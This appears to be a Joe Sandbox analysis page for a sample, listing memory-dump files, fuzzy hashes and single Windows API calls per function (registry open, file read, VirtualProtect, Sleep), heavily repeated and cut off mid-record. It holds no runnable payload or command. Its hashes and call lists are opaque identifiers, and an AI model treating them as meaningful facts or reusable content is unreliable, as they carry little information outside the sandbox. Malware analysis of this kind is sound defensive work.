Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: b52732b034676bd900c8dd09e9d96c0449bda3180a08bab671966732f7de0c2e
Instruction ID: 083101987cfc82a6cf42c11d2d972b8aec6ba2fd7aec0dc483d5015516fa3923
Opcode Fuzzy Hash: b52732b034676bd900c8dd09e9d96c0449bda3180a08bab671966732f7de0c2e
Instruction Fuzzy Hash: A7F0B431A08220B3CB10ABB55F4DE8F62A89B6132DF34477BB512B21D1D6BC8901956F

Function 00402253 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

WritePrivateProfileStringW.KERNEL32(00000000,00000000,?,00000000), ref: 0040228A

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: ec4fb41ec1acd106f93cf616f3cd4c0d3577891546256094c6c4aadbcc0c0451
Instruction ID: 4332bbb19f5efe4f35bb732f6f353b7f8865d75a24debaa01da2fd7198b4a795
Opcode Fuzzy Hash: ec4fb41ec1acd106f93cf616f3cd4c0d3577891546256094c6c4aadbcc0c0451
Instruction Fuzzy Hash: 18E04F329041246ADB113EF20E8DE7F31689B44718B24427FF551BA1C2D5BC1D434669

Function 00402C44 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,000004C8,00000000,00000022,00000000,?,?), ref: 00402C6C

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 699cda25c17bafbadca6f45bdb25344b0c8ec80eddbe54fe411ff33645398d31
Instruction ID: b4a940ff9d96c873bdf480266a19e34540b316432bd0f5e01798d68014561859
Opcode Fuzzy Hash: 699cda25c17bafbadca6f45bdb25344b0c8ec80eddbe54fe411ff33645398d31
Instruction Fuzzy Hash: 89E0BF76254108BAD700EFA5DD46F9677ECEB14745F008425B609D6091C674E5508768

Function 00405A66 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,004031B1,00000000,00000000,00402FF1,000000FF,00000004,00000000,00000000,00000000), ref: 00405A7A

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 706c1f52c55adc451273f1d2a5d46862a6587a7fe095f8bbabcbc32b8b015297
Instruction ID: 68b9e35a43bd0b01ba0fc1ca952cb594bc8cf903dff1417d3183e578cb5b5c3a
Opcode Fuzzy Hash: 706c1f52c55adc451273f1d2a5d46862a6587a7fe095f8bbabcbc32b8b015297
Instruction Fuzzy Hash: 53E0EC3261425AEFDF50AEA59C44AEB7B6CFB053A0F004433FD15E7190D231E9219FA9

Function 1000278D Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(1000405C,00000004,00000040,1000404C), ref: 100027AB

Memory Dump Source

Source File: 00000000.00000002.2062996466.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2062980489.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2063018747.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2063039760.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_rFa24c148.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction ID: 267fa8ad402a2f1685f06aa6efb9df116a04c7e31b4918ac066fddfc95f4d9be
Opcode Fuzzy Hash: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction Fuzzy Hash: 5EF092F15097A0DEF350DF688C847063BE0E7483C4B03852AE368F6268EB344044CF19

Function 0040159B Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(00000000,?,000000F0), ref: 004015A6

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 2a616e06c792cf265676b57026b4e4a9577b39f593b79c63b522db00f6807e26
Instruction ID: 3a008f1eb1b1242b40efb84196f5f05472ca672afc8891d9c26caab598a60342
Opcode Fuzzy Hash: 2a616e06c792cf265676b57026b4e4a9577b39f593b79c63b522db00f6807e26
Instruction Fuzzy Hash: 88D012B2B08100D7CB10DFE5AA08ADDB7659B10339F304A77D101F21D0D2B8C5419A2A

Function 00404008 Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000000,00000000,00000000), ref: 0040401A

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: a4d713ec37b01fb01d6fe416f7f1015fc8604d13c1c7eace86c6fa01d5da54e1
Instruction ID: 7e6010ae37c62f63916f0126c22991c2454b69940bf40bafb173ceb87b5e62a9
Opcode Fuzzy Hash: a4d713ec37b01fb01d6fe416f7f1015fc8604d13c1c7eace86c6fa01d5da54e1
Instruction Fuzzy Hash: 14C04C717443007AEA308B60AD45F2A7754A758701F5444697300B50D0C674E411D61D

Function 00403FF1 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,00403E1D), ref: 00403FFF

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 68c7d3c3e0f7f1cab3b80b2c1a5527bcb09bd52aa90d361a41447b3617ec313a
Instruction ID: 784fd17e5df65fd1e582592ff515389eb2153c2e002f91b2ba79ebddce7a884a
Opcode Fuzzy Hash: 68c7d3c3e0f7f1cab3b80b2c1a5527bcb09bd52aa90d361a41447b3617ec313a
Instruction Fuzzy Hash: D6B09235685201BAEA214B00ED09F957A62A768701F008464B300240B0C6B248A2DB09

Function 004031B4 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402F30,?,?,?,?,00000000,00403425,?), ref: 004031C2

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 3f2450370ff6ec370cb83e2696936d8051f71d6c0ea90f8f087f694b7f33879c
Instruction ID: 9708a756cc2c9ae94551e8e9c592081b607f980c3267f7876f2ac268d6c84cd7
Opcode Fuzzy Hash: 3f2450370ff6ec370cb83e2696936d8051f71d6c0ea90f8f087f694b7f33879c
Instruction Fuzzy Hash: B8B01231584200BFDA214F00DE05F057B21A790700F10C030B304381F082712420EB5D

Function 00403FDE Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,00403DB6), ref: 00403FE8

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 2acc807be0ba679717be6b01d9f42da513ad5f0c2234181876513f9ebcad2aad
Instruction ID: b1b9a75aa143e31e8517bedffcdc50d49ca7046a294c6db3a10a508eb0cd57f7
Opcode Fuzzy Hash: 2acc807be0ba679717be6b01d9f42da513ad5f0c2234181876513f9ebcad2aad
Instruction Fuzzy Hash: 31A01132808000ABCA028B80EF08C0ABB22BBB0300B008838B208808308A320820EB0E

Function 004014D7 Relevance: 1.3, APIs: 1, Instructions: 17sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000000), ref: 004014E6

Memory Dump Source

Source File: 00000000.00000002.2059739056.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2059723184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059757639.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059776712.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2059970724.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rFa24c148.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 6917fec6ffc34fff1feb0dbf9c249be8de4da10d42883fba5183095b7f77083d
